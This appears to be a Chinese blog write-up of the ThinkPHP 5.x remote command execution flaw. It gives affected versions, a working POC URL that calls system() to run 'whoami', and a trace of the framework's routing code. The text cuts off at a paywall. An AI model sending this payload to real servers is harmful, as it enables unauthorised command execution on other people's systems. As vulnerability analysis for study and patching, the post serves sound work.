这种类型的漏洞是因为框架对于控制器名没有进行足够的校验,在没有开启强制路由的情况下,攻击者可以通过兼容模式调用任意的控制器的操作,从而达到远程命令执行。
1. 影响版本
5.0.7<=thinkphp<=5.0.22
5.1.x
2. 漏洞复现
环境:
thinkphp5.0.20+php5.6.27+apache+phpstorm
POC:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V1MdFF0z-1648718151043)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331163142899.png)]](https://i-blog.csdnimg.cn/blog_migrate/a02ebb1f59ed950fba4d9a1010b303ae.png)
参数解释:
s=index/\think\app/invokefunction,在兼容模式即未开启强制路由情况下,框架可以通过s参数获取pathinfo信息,然后进行路由的解析与调度。这里我们调用的是index模块下的app控制器的invokefunction方法
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TzDGJ7Ia-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331163418444.png)]](https://i-blog.csdnimg.cn/blog_migrate/c616bd75df4f8a1ec0fa3606d4bd7cfb.png)
function=call_user_func_array,invokefunction方法的第一个参数
vars[0]=system&vars[1][]=whoami,invokefunction方法的第二个参数
3. 漏洞分析
从入口文件开始看
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bh8zsTw7-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164035344.png)]](https://i-blog.csdnimg.cn/blog_migrate/4f8896a3c16b2893105c4abb9ca83c86.png)
加载一些框架文件后,进入run函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dciY41Nq-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164109925.png)]](https://i-blog.csdnimg.cn/blog_migrate/01969b0d618383380a8f4f89a758503d.png)
首先实例化一个requests对象
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-neBPB96q-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164157869.png)]](https://i-blog.csdnimg.cn/blog_migrate/3c502ff1630f6a08f0ceeaa8b4255de1.png)
往下一直走,开始进行路由的检测与解析,前面文章已经讲过路由解析的步骤,这里直接看结果
这里的路由解析就是根据pathinfo中的/来拆分出模块,控制器,操作的。我们上面也说过如果开启的强制路由,这个漏洞就失效了,这是因为如果开启了强制路由,我们还想调用invokefunction函数就得这么写:/public/index.php/index/think\app/invokefunction/function/call_user_func_array/vars[0]/phpinfo/vars[1][]/1,但是由于在pathinfo模式下,$_SERVER['PATH_INFO']会自动将URL中的“\”替换为“/”,导致破坏掉payload格式无法正常路由解析,所以必须是兼容模式。
参考:https://paper.seebug.org/888/#poc
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BF6JwDbM-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164314909.png)]](https://i-blog.csdnimg.cn/blog_migrate/23b8e6f247e733cdb6606cef3ed6fa20.png)
拿到路由调度信息后,我们继续往下走,到139行进入exec函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQlKO6pF-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331165429745.png)]](https://i-blog.csdnimg.cn/blog_migrate/e1f54d567d406ff646a0aa63c98e64c2.png)
因为type=module,进入红框分支
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ip9Kr46j-1648718151046)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331165554447.png)]](https://i-blog.csdnimg.cn/blog_migrate/ad6a5a4b56090d0b1f404d62f58621d5.png)
跟进module函数
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}
$request = Request::instance();
if ($config['app_multi_module']) {
// 多模块部署
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
$bind = Route::getBind('module');
$available = false;
if ($bind)

本文详细介绍了ThinkPHP5在特定版本中存在的远程命令执行漏洞,该漏洞源于框架对控制器名的校验不足。在兼容模式下,攻击者可利用此漏洞通过指定参数调用任意控制器操作,实现远程代码执行。影响版本包括5.0.7到5.0.22及5.1.x。复现环境为thinkphp5.0.20+php5.6.27+apache+phpstorm。漏洞利用涉及路由解析、模块、控制器和操作的分配,最终导致invokeFunction方法被恶意调用,执行用户提供的系统命令。
最低0.47元/天 解锁文章
895

被折叠的 条评论
为什么被折叠?



